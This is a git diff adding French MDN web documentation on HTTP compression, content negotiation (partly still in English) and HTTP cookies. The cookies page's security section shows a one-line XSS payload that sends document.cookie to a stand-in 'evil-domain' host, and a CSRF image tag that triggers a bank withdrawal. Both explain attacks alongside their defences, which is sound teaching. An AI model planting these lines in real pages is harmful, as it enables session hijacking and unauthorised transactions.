+<p>L'ensemble des navigateurs récents supportent la compression de bout en bout et le seul élément à échanger entre le serveur et le client est l'algorithme de compression à utiliser. Ces algorithmes sont optimisés pour le transport du texte. Dans les années 90, les technologies de compression ont évoluées rapidement, il existe donc de nombreuses possibilités en termes d'algorithmes. Les algorithmes qu'il convient de considérer à l'heure actuelle sont : <code>gzip</code>, le plus utilisé et <code>br</code> le nouveau venu.</p>
+
+<p>Pour sélectionner l'algorithme à utiliser, le navigateur et le serveur s'appuient sur <a href="/fr/docs/Web/HTTP/Content_negotiation"> la négociation du contenu</a>. Le navigateur envoie un en-tête {{HTTPHeader("Accept-Encoding")}} contenant les algorithmes qu'il prend en charge par ordre de préférence, le serveur en sélectionne un pour compresser le corps de la réponse et inclut l'algorithme utilisé dans l'en-tête {{HTTPHeader("Content-Encoding")}} pour informer le navigateur de l’algorithme sélectionné. La négociation de contenu s'appuyant sur l'encodage des données le serveur doit envoyer un en-tête {{HTTPHeader("Vary")}} contenant au moins {{HTTPHeader("Accept-Encoding")}} en plus de l'en-tête de la réponse. Les caches seront ainsi en mesure de gérer les différentes représentations de la ressource.</p>
+
+<p><img alt="Séquence de négociation de contenu échangeant les algorithmes de compression et les en-têtes associés" src="https://mdn.mozillademos.org/files/13811/HTTPCompression1.png" style="height: 307px; width: 771px;"></p>
+
+<p>La compression permettant un gain de performance significatif, il est conseillé de l'activer pour l'ensemble des fichiers à l'exception des fichiers audios et vidéos au format compressé.</p>
+
+<p>Apache prend en charge la compression et utilise <a href="http://httpd.apache.org/docs/current/mod/mod_deflate.html">mod_deflate</a>; nginx dispose de <a href="http://nginx.org/en/docs/http/ngx_http_gzip_module.html">ngx_http_gzip_module</a>; pour IIS, il existe l'élément <code><a href="https://www.iis.net/configreference/system.webserver/httpcompression">&lt;httpCompression&gt;</a></code>.</p>
+
+<h2 id="Compression_saut_par_saut">Compression saut par saut</h2>
+
+<p>La compression saut par saut, bien que similaire à la compression de bout en bout se distingue fondamentalement par son fonctionnement : la compression n'a pas lieu au niveau du serveur mais entre des éléments du réseau situés entre le serveur et le navigateur, chaque bond pouvant utiliser un mécanisme de compression <em>différent</em>.</p>
+
+<p><img alt="Compression saut par saut entre le serveur et le client" src="https://mdn.mozillademos.org/files/13807/HTTPTE1.png"></p>
+
+<p>HTTP permet de mettre en œuvre cette technique à l'aide d'un élément de négociation de contenu. Le nœud transmettant la donnée diffuse son utilisation de l'en-tête {{HTTPHeader("TE")}}, le noeud suivant choisit la méthode de compression appropriée et transmet son choix via {{HTTPHeader("Transfer-Encoding")}}.</p>
+
+<p><img alt="Diagramme de séquence détaillant les échanges d'en-têtes en compression saut par saut" src="https://mdn.mozillademos.org/files/13809/HTTPComp2.png"></p>
+
+<p>En pratique la compression saut par saut est transparente pour le serveur et le client et elle demeure rarement utilisée. Les en-têtes {HTTPHeader("TE")}} and {{HTTPHeader("Transfer-Encoding")}} sont le plus souvent utilisé pour transmettre des réponses par morceaux ce qui permet la transmission de ressource avant d'en avoir déterminé la taille.</p>
+
+<p>Il est important de signaler que {{HTTPHeader("Transfer-Encoding")}} et la compression au niveau d'un nœud est si rare que la plupart des serveurs Apache, nginx, ou IIS ne possèdent pas de façon simple de la configurer, dans la mesure où elle existe, cette configuration a lieu au niveau du proxy.</p>
diff --git a/files/fr/web/http/content_negotiation/index.html b/files/fr/web/http/content_negotiation/index.html
new file mode 100644
index 0000000000..0a3b3d4427
--- /dev/null
+++ b/files/fr/web/http/content_negotiation/index.html
@@ -0,0 +1,143 @@
+---
+title: La négociation de contenu
+slug: Web/HTTP/Content_negotiation
+translation_of: Web/HTTP/Content_negotiation
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">En <a href="/en-US/docs/Glossary/HTTP">HTTP</a>, la <em><strong>négociation de contenu</strong></em> est le mécanisme utilisé pour fournir différentes représentations d'une ressource à la même URI, afin que l'agent utilisateur puisse spécifier celle qui convient le mieux à l'utilisateur (par exemple, la langue d'un document, le format d'image, ou l'encodage du contenu).</p>
+
+<h2 id="Principes_de_la_négociation_de_contenu">Principes de la négociation de contenu</h2>
+
+<p>Un document spécifique s'appelle une <em>ressource</em>. Lorsqu'un client veut y accéder, il le demande en utilisant son URL. Le serveur utilise cette URL pour choisir une des différentes versions qu'il peut fournir - chaque version étant appelée une représentation - et renvoie cette représentation spécifique au client. La ressource globale, ainsi que chacune de ses représentations, ont une URL spécifique. La façon dont une représentation spécifique est choisie est déterminée par la <em>négociation de contenu</em> et il existe plusieurs façons de négocier entre le client et le serveur.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13789/HTTPNego.png" style="height: 311px; width: 767px;"></p>
+
+<p>La sélection de la représentation la mieux adaptée se fait par l'un des deux mécanismes suivants:</p>
+
+<ul>
+ <li>Des <a href="/fr/docs/Web/HTTP/Headers">en-têtes HTTP</a> spécifiques envoyés par le client (<em>négociation pilotée par le serveur </em>ou <em>négociation proactive</em>), qui est le moyen standard de négocier un type de ressource spécifique.</li>
+ <li>Les <a href="/fr/docs/Web/HTTP/Status">codes réponses</a> {{HTTPStatus("300")}} (Multiple Choices) ou {{HTTPStatus("406")}} (Not Acceptable) envoyés par le serveur (<em>négociation pilotée par le client</em> ou <em>négociation réactive</em>), qui sont utilisés comme mécanismes de repli.</li>
+</ul>
+
+<p>Au fil des ans, d'autres propositions de négociation de contenu, comme la négociation transparente du contenu et l'en-tête <code>Alternates</code>, ont été proposées. Elles n'ont pas réussi à emporter l'adhésion et ont été abandonnées.</p>
+
+<h2 id="La_négociation_de_contenu_gérée_par_le_serveur">La négociation de contenu gérée par le serveur</h2>
+
+
+
+<p>Dans la <em>négociation de contenu gérée par le serveur</em>, ou négociation proactive de contenu, le navigateur (ou tout autre type de client) envoie plusieurs en-têtes HTTP avec l'URL décrivant les choix préférés de l'utilisateur. Le serveur les utilise comme indications et un algorithme interne choisit le meilleur contenu à servir au client. L'algorithme est spécifique au serveur et n'est pas défini dans la norme. Voir, par exemple, l'<a href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">algorithme de négociation d'Apache 2.2</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p>
+
+<p>La norme HTTP/1.1 définit la liste des en-têtes standard qui initient la négociation pilotée par le serveur ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Bien qu'à proprement parler {{HTTPHeader("User-Agent")}} ne figure pas dans la liste, il est aussi parfois utilisé pour envoyer une représentation spécifique de la ressource demandée, bien que cela ne soit pas considéré comme une bonne pratique. Le serveur utilise l'en-tête {{HTTPHeader("Vary")}} pour indiquer quels en-têtes il a effectivement utilisés pour la négociation de contenu (ou plus précisément les en-têtes de réponse associés), pour que les <a href="/en-US/docs/Web/HTTP/Caching">caches</a> puissent fonctionner de manière optimale.</p>
+
+<p>En outre, il existe une proposition expérimentale visant à ajouter d'autres en-têtes à la liste des en-têtes disponibles, appelés indications (<em>hints</em>) du client. Ces hints indiquent sur quel type de périphérique l'agent utilisateur fonctionne (par exemple, s'il s'agit d'un ordinateur de bureau ou d'un périphérique mobile).</p>
+
+<p>Même si la négociation de contenu gérée par le serveur est le moyen le plus courant de s'entendre sur une représentation spécifique d'une ressource, elle présente plusieurs inconvénients:</p>
+
+<ul>
+ <li>Le serveur n'a pas une connaissance totale du navigateur. Même avec l'extension <em>Client Hints</em>, il n'a pas une connaissance complète des capacités du navigateur. Contrairement à la négociation de contenu réactif où le client fait le choix, celui du serveur est toujours quelque peu arbitraire.</li>
+ <li>L'information fournie par le client est assez verbeuse (la compression de l'en-tête HTTP/2 atténue ce problème) et est un risque d'atteinte à la vie privée (empreintes digitales HTTP)</li>
+ <li>Comme plusieurs représentations d'une ressource donnée sont envoyées, les caches partagés sont moins efficaces et les implémentations des serveurs sont plus complexes.</li>
+</ul>
+
+<h3 id="The_Accept_header">The <code>Accept</code> header</h3>
+
+<p>The {{HTTPHeader("Accept")}} header lists the MIME types of media resources that the agent is willing to process. It is comma-separated lists of MIME types, each combined with a quality factor, a parameter indicating the relative degree of preference between the different MIME types.</p>
+
+<p>The {{HTTPHeader("Accept")}} header is defined by the browser, or any other user-agent, and can vary according to the context, like fetching an HTML page or an image, a video, or a script: It is different when fetching a document entered in the address bar or an element linked via an {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("audio") }} element. Browsers are free to use the value of the header that they think is the most adequate; an exhaustive list of <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">default values for common browsers</a> is available.</p>
+
+<h3 id="The_Accept-CH_header_experimental_inline">The <code>Accept-CH</code> header {{experimental_inline}}</h3>
+
+<div class="note">
+<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints</em>. Initial support is in Chrome 46 or later. The Device-Memory value is in Chrome 61 or later.</p>
+</div>
+
+<p>The experimental {{HTTPHeader("Accept-CH")}} lists configuration data that can be used by the server to select an appropriate response. Valid values are:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Value</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>Device-Memory</code></td>
+   <td>Indicates the approximate amount of device RAM. This value is an approximation given by rounding to the nearest power of 2 and dividing that number by 1024. For example, 512 megabytes will be reported as <code>0.5</code>. </td>
+  </tr>
+  <tr>
+   <td><code>DPR</code></td>
+   <td>Indicates the client's device pixel ratio.</td>
+  </tr>
+  <tr>
+   <td><code>Viewport-Width</code></td>
+   <td>Indicates the layout viewport width in CSS pixels. </td>
+  </tr>
+  <tr>
+   <td><code>Width</code></td>
+   <td>Indicates the resource width in physical pixels (in other words the intrinsic size of an image).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="The_Accept-Charset_header">The <code>Accept-Charset</code> header</h3>
+
+<p>The {{HTTPHeader("Accept-Charset")}} header indicates to the server what kinds of character encodings are understood by the user-agent. Traditionally, it was set to a different value for each locale for the browser, like <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> for a Western European locale.</p>
+
+<p>With UTF-8 now being well-supported, being the preferred way of encoding characters, <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">and to guarantee better privacy through less configuration-based entropy</a>, browsers omit the <code>Accept-Charset</code> header: Internet Explorer 8, Safari 5, Opera 11, Firefox 10 and Chrome 27 have abandoned this header.</p>
+
+<h3 id="The_Accept-CH-Lifetime_header">The <code>Accept-CH-Lifetime</code> header</h3>
+
+<div class="note">
+<p>This is part of an <strong>experimental</strong> technology called <em>Client Hints </em> and is only available in Chrome 61 or later.</p>
+</div>
+
+<p>The {{HTTPHeader("Accept-CH-Lifetime")}} header is used with the <code>Device-Memory</code> value of the <code>Accept-CH</code> header and indicates the amount of time the device should opt-in to sharing the amount of device memory with the server. The value is given in miliseconds and it's use is optional.</p>
+
+<h3 id="The_Accept-Encoding_header">The <code>Accept-Encoding</code> header</h3>
+
+<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p>
+
+<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p>
+
+<h3 id="The_Accept-Language_header">The <code>Accept-Language</code> header</h3>
+
+<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p>
+
+<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p>
+
+<ul>
+ <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li>
+ <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li>
+</ul>
+
+<h3 id="The_User-Agent_header">The <code>User-Agent</code> header</h3>
+
+<div class="note">
+<p>Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p>
+</div>
+
+<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p>
+
+<p>A <em>product token</em> is a name followed by a '<code>/</code>' and a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p>
+
+<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3>
+
+<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that it can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p>
+
+<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p>
+
+<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with server-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p>
+
+<h2 id="Agent-driven_negotiation">Agent-driven negotiation</h2>
+
+<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p>
+
+<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p>
+
+<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p>
diff --git a/files/fr/web/http/cookies/index.html b/files/fr/web/http/cookies/index.html
new file mode 100644
index 0000000000..334217f6db
--- /dev/null
+++ b/files/fr/web/http/cookies/index.html
@@ -0,0 +1,192 @@
+---
+title: HTTP cookies
+slug: Web/HTTP/Cookies
+tags:
+  - Cookies
+  - Guide
+  - HTTP
+translation_of: Web/HTTP/Cookies
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">Un cookie HTTP (cookie web, cookie de navigateur) est un petit ensemble de données qu'un serveur envoie au navigateur web de l'utilisateur. Le navigateur peut alors le stocker localement, puis le renvoyer à la prochaine requête vers le même serveur. Typiquement, cette méthode est utilisée par le serveur pour déterminer si deux requêtes proviennent du même navigateur </span>— pour exemple pour garder un utilisateur connecté. Les cookies permettent de conserver de l'information en passant par le procotole HTTP qui est lui "sans état".</p>
+
+<p>Les cookies sont utilisés pour 3 raisons principales :</p>
+
+<dl>
+ <dt>Gestion des sessions</dt>
+ <dd>Logins, panier d'achat, score d'un jeu, ou tout autre chose dont le serveur doit se souvenir.</dd>
+ <dt>Personnalisation</dt>
+ <dd>Préférences utilisateur, thèmes, et autres paramètres.</dd>
+ <dt>Suivi</dt>
+ <dd>Enregistrement et analyse du comportement utilisateur.</dd>
+</dl>
+
+<p>Les cookies étaient auparavant utilisés pour le stockage côté client. C'était légitime lorsque les cookies étaient la seule manière de stocker des données côté client, mais il est aujourd'hui recommandé de préférer les APIs modernes de stockage. Les cookies sont envoyés avec chaque requête, ils peuvent donc avoir un impact négatif sur les performances (particulièrement pour des connexions mobiles). Les APIs modernes de stockage côté client sont l'<a href="/fr/docs/Web/API/Web_Storage_API" title="DOM Storage">API Web storage</a> (<code>localStorage</code> et <code>sessionStorage</code>) et <a href="/fr/docs/Web/API/API_IndexedDB">IndexedDB</a>.</p>
+
+<div class="note">
+<p>Pour voir les cookies stockés (et d'autres stockages que le navigateur peut conserver), vous ouvrez l'<a href="/fr/docs/Outils/Inspecteur_de_stockage">Inspecteur de stockage</a> des Outils Développeur et sélectionnez Cookies dans l'onglet stockage (pour Firefox).</p>
+</div>
+
+<h2 id="Création_de_cookies">Création de cookies</h2>
+
+<p>Après avoir reçu une requête HTTP, un serveur peut renvoyer sa réponse avec une ou des entête(s) {{HTTPHeader("Set-Cookie")}}. Le cookie ou les cookies ainsi définis sont habituellement stockés par le navigateur, puis renvoyés lors des prochaines requêtes au même serveur, dans une entête HTTP {{HTTPHeader("Cookie")}}. Une date d'expiration ou une durée peut être spécifiée par cookie, après quoi le cookie ne sera plus envoyé. De plus, des restrictions à un domaine ou un chemin spécifiques peuvent être spécifiés, limitant quand le cookie est envoyé.</p>
+
+<h3 id="Les_entêtes_Set-Cookie_et_Cookie">Les entêtes <code>Set-Cookie</code> et <code>Cookie</code></h3>
+
+<p>L'entête de réponse HTTP {{HTTPHeader("Set-Cookie")}} envoie un cookie depuis le serveur vers le navigateur. Un cookie simple est défini comme ceci:</p>
+
+<pre class="syntaxbox">Set-Cookie: &lt;nom-du-cookie&gt;=&lt;valeur-du-cookie&gt;</pre>
+
+<div class="note"><strong>Note :</strong> Voici comme utiliser l'en-tête <code>Set-Cookie</code> dans divers langages de programmation côté serveur :
+
+<ul>
+ <li><a href="https://secure.php.net/manual/en/function.setcookie.php">PHP</a></li>
+ <li><a href="https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value">Node.JS</a></li>
+ <li><a href="https://docs.python.org/3/library/http.cookies.html">Python</a></li>
+ <li><a href="http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html">Ruby on Rails</a></li>
+</ul>
+</div>
+
+<p>Exemple de réponse HTTP complète:</p>
+
+<pre>HTTP/1.0 200 OK
+Content-type: text/html
+Set-Cookie: yummy_cookie=choco
+Set-Cookie: tasty_cookie=strawberry
+
+[contenu de la page]</pre>
+
+<p id="The_client_sends_back_to_the_server_its_cookies_previously_stored">Maintenant, à chaque requête vers le serveur, le navigateur va renvoyer au serveur tous les cookies stockés, avec l'entête {{HTTPHeader("Cookie")}}:</p>
+
+<pre>GET /sample_page.html HTTP/1.1
+Host: www.example.org
+Cookie: yummy_cookie=choco; tasty_cookie=strawberry</pre>
+
+<h3 id="Cookies_de_session">Cookies de session</h3>
+
+<p>Le cookie créé ci-dessus est un <em>cookie de session </em>: il est effacé quand le navigateur est fermé, puisqu'on n'a pas spécifié de directive <code>Expires</code> ou <code>Max-Age</code>. Notons cependant que les navigateurs web peuvent utiliser la <strong>restauration de session</strong>, ce qui fait de la plupart des cookies des cookies permanents, comme si le navigateur n'avait jamais été fermé.</p>
+
+<h3 id="Cookies_permanents">Cookies permanents</h3>
+
+<p>Plutôt que d'expirer quand le client ferme, <em>les cookies permanents</em> expirent à une date spécifique (<code>Expires</code>) ou après un certain temps (<code>Max-Age</code>).</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Quand une date d'expiration est définie, le temps et l'heure définis sont relatifs au client auquel le cookie est envoyé, et non au serveur.</p>
+</div>
+
+<h3 id="Cookies_Secure_et_HttpOnly">Cookies <code>Secure</code> et <code>HttpOnly</code></h3>
+
+<p>Un cookie sécurisé est uniquement envoyé au serveur avec les requêtes chiffrées, via le protocole HTTPS. Même avec <code>Secure</code>, les informations sensibles ne devraient <em>jamais</em> être stockées dans les cookies, car ils sont intrinsèquement insécurisés et cette option ne peut pas offrir de protection réelle. À partir de Chrome 52 et Firefox 52, les sites non sécurisés (<code>http:</code>) ne peuvent pas définir de cookies avec la directive <code>Secure</code>.</p>
+
+<p>Pour empêcher les attaques de cross-site scripting ({{Glossary("Cross-site_scripting","XSS")}}), on peut utiliser les cookies <code>HttpOnly</code>, qui sont inaccessibles à l'API JavaScript {{domxref("Document.cookie")}}; ils sont uniquement envoyés au serveur. Par exemple, les cookies qui persistent la session côté serveur n'ont pas besoin d'être accessibles via JavaScript, et l'option <code>HttpOnly</code> doit être définie.</p>
+
+<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly</pre>
+
+<h3 id="Portée_des_cookies">Portée des cookies</h3>
+
+<p>Les directives <code>Domain</code> et <code>Path</code> définissent la <em>portée</em> d'un cookie : sur quelles URLs les cookies doivent être envoyés.</p>
+
+<p><code>Domain</code> spécifie les hôtes autorisés à recevoir le cookie. S'il n'est pas spécifié, il s'agit par défaut de <a href="/fr/docs/Web/API/Document/location">l'hôte de l'emplacement actuel du document</a>, en <strong>excluant les sous-domaines</strong>. Si <code>Domain</code> est spécifié, alors les sous-domaines sont toujours inclus. Par exemple, si <code>Domain=mozilla.org</code> est défini, alors les cookies sont envoyés sur les sous-domaines comme <code>developer.mozilla.org</code>.</p>
+
+<p><code>Path</code> indique pour quels chemins d'URL on doit envoyer l'entête <code>Cookie</code>. Le caractère %x2F ("/") est considéré comme un séparateur de répertoire, et les sous-répertoires seront également acceptés. Par exemple, si <code>Path=/docs</code> est défini, ces chemins seront acceptés :</p>
+
+<ul>
+ <li><code>/docs</code></li>
+ <li><code>/docs/Web/</code></li>
+ <li><code>/docs/Web/HTTP</code></li>
+</ul>
+
+<h3 id="Cookies_SameSite_experimental_inline">Cookies <code>SameSite</code> {{experimental_inline}}</h3>
+
+<p>Les cookies <code>SameSite</code> laissent les serveurs exiger qu'un cookie ne soit pas envoyé avec les requêtes cross-site, ce qui protège un peu contre les attaques Cross-Site Request Forgery ({{Glossary("CSRF")}}). Les cookies <code>SameSite</code> sont encore expérimentaux et ne sont pas encore supportés par tous les navigateurs.</p>
+
+<h3 id="Accès_JavaScript_en_utilisant_Document.cookie">Accès JavaScript en utilisant <code>Document.cookie</code></h3>
+
+<p>De nouveaux cookies peuvent également être créés via JavaScript en utilisant la propriété  {{domxref("Document.cookie")}}, et si l'option <code>HttpOnly</code> n'est pas définie, les cookies existants peuvent être également accédés via JavaScript.</p>
+
+<pre class="brush: js">document.cookie = "yummy_cookie=choco";
+document.cookie = "tasty_cookie=strawberry";
+console.log(document.cookie);
+// affiche "yummy_cookie=choco; tasty_cookie=strawberry"</pre>
+
+<p>Prenez garde aux problèmes de sécurité, décrits dans la section {{ anch("Sécurité") }} ci-dessous. Les cookies disponibles via JavaScript peuvent être volés en utilisant les failles XSS.</p>
+
+<h2 id="Sécurité">Sécurité</h2>
+
+<div class="note">
+<p>Les informations confidentielles ou sensibles ne devraient jamais être stockée ou transmises avec les Cookies HTTP, car le mécanisme entier est intrinsèquement insécurisé.</p>
+</div>
+
+<h3 id="Piratage_de_session_et_XSS">Piratage de session et XSS</h3>
+
+<p>Les cookies sont souvent utilisés dans une application web pour identifier un utilisateur et leur session, ainsi le vol de cookies peut entraîner le piratage de la session de l'utilisateur authentifié. Les moyens courants de vol de cookies sont le Social Engineering ou l'exploitation des vulnérabilités {{Glossary("Cross-site_scripting","XSS")}} de l'application.</p>
+
+<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;</pre>
+
+<p>L'attribut <code>HttpOnly</code> du cookie peut aider à empêcher cette attaque en bloquant l'accès à cette valeur de cookie via JavaScript.</p>
+
+<h3 id="Cross-Site_Request_Forgery_CSRF">Cross-Site Request Forgery (CSRF)</h3>
+
+<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> mentionne un autre bon exemple d'attaque {{Glossary("CSRF")}}. Quand quelqu'un inclut une image qui n'est pas réellement une image (par exemple dans le cas d'un chat ou d'un forum), mais envoie en réalité une requête à la banque pour retirer de l'argent:</p>
+
+<pre class="brush: html">&lt;img src="http://bank.example.com/withdraw?account=bob&amp;amount=1000000&amp;for=mallory"&gt;</pre>
+
+<p>Maintenant, si vous étiez connecté à votre compte bancaire et que vos cookies étaient toujours valides (et qu'il n'y ait pas d'autre demande de validation), vous transféreriez de l'argent dès que vous afficheriez la page qui charge cette image. Il y a quelques techniques qu peuvent être utilisées pour limiter les risques:</p>
+
+<ul>
+ <li>Comme pour {{Glossary("Cross-site_scripting","XSS")}}, filtrer les données en entrée est important.</li>
+ <li>Il devrait toujours y avoir une confirmation requise pour toute action sensible.</li>
+ <li>Les cookies utilisés pour les actions sensibles ne doivent avoir qu'une durée de vie limitée.</li>
+ <li>Pour plus de conseils de prévention, voir <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li>
+</ul>
+
+<h2 id="Suivi_et_confidentialité">Suivi et confidentialité</h2>
+
+<h3 id="Cookies_tiers">Cookies tiers</h3>
+
+<p>Les cookies ont un domaine qui leur est associé. Si ce domaine est le même que la page sur laquelle vous êtes, on parle de cookie interne (<em>first-party cookie</em>). Si le domaine est différent, on parle de cookie tiers (<em>third-party cookie</em>).</p>
+
+<p>Alors que les cookies internes sont uniquement envoyés au serveur qui les a définis, une page web peut également contenir des images ou tout autre composant stockés sur d'autres domaines (comme des bannières publicitaires). Les cookies qui sont envoyés via les composants tiers sont appelés cookies tiers et ils sont principalement utilisés pour la publicité et le suivi sur le web. Voir par exemple les <a href="https://www.google.com/policies/technologies/types/">types de cookies utilisés par Google</a>. La plupart des navigateurs autorisent les cookies tiers par défaut, mais il existe des addons disponibles pour les bloquer (par exemple, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger17/">Privacy Badger</a> par <a href="https://www.eff.org/">EFF</a>).</p>
+
+<p>Si vous n'avertissez pas vos utilisateurs de l'utilisation de cookies tiers, vous pouvez perdre leur confiance s'ils la découvrent. Une divulgation claire (tel que dans une politique de confidentialité) tend à éliminer les effets négatifs d'une telle découverte. Quelques pays ont également une législation sur les cookies. Voir par exemple l'article <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a> de Wikipedia.</p>
+
+<ul>
+</ul>
+
+<h3 id="Do-Not-Track">Do-Not-Track</h3>
+
+<p>Il n'y a pas d'obligations légales ou technologiques pour son utilisation, mais l'entête {{HTTPHeader("DNT")}} peut être utilisée pour signaler qu'une application web doit désactiver son suivi ou le suivi tiers d'un utilisateur. Voir l'entête {{HTTPHeader("DNT")}} pour plus d'informations.</p>
+
+<h3 id="Directive_de_lUE_sur_les_cookies">Directive de l'UE sur les cookies</h3>
+
+<p>Les exigences relatives aux cookies dans l'Union Européenne sont définies dans la <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> du Parlement Européen entrée en vigeur le 25 mai 2011. Une directive n'est pas une loi en soi, mais une obligation pour les pays de l'Union Européenne de mettre en place des lois qui répondent aux exigences de la directive. La loi véritable peut différer d'un pays à l'autre.</p>
+
+<p>Pour faire court, la directive de l'UE stipule qu'avant de pouvoir stocker ou récupérer des informations sur un ordinateur, téléphone mobile ou tout autre appareil, l'utilisateur doit donner son consentement de le faire en connaissance de cause. Beaucoup de sites web ont ajoutés des bannières depuis lors pour informer l'utilisateur sur l'utilisation des cookies.</p>
+
+<p>Pour en savoir plus, voir <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">cette section Wikipedia</a> et consultez les lois de l'état pour avoir des informations plus récentes et plus précises.</p>
+
+<h3 id="Cookies_Zombie_et_Evercookies">Cookies Zombie et Evercookies</h3>
+
+<p>Une approche plus radicale des cookies sont les Cookies Zombies ou "Evercookies", qui sont des cookies recrées après leur suppression et intentionnellement difficiles à supprimer définitivement. Ils utilisent l'<a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">API Web storage</a>, les Flash Local Shared Objects et d'autres techniques pour se recréer d'eux mêmes dès que l'absence du cookie est détéctée.</p>
+
+<ul>
+ <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies sur Wikipedia</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Set-Cookie")}}</li>
+ <li>{{HTTPHeader("Cookie")}}</li>
+ <li>{{domxref("Document.cookie")}}</li>
+ <li>{{domxref("Navigator.cookieEnabled")}}</li>
+ <li><a href="/en-US/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li>
+ <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie specification: RFC 6265</a></li>
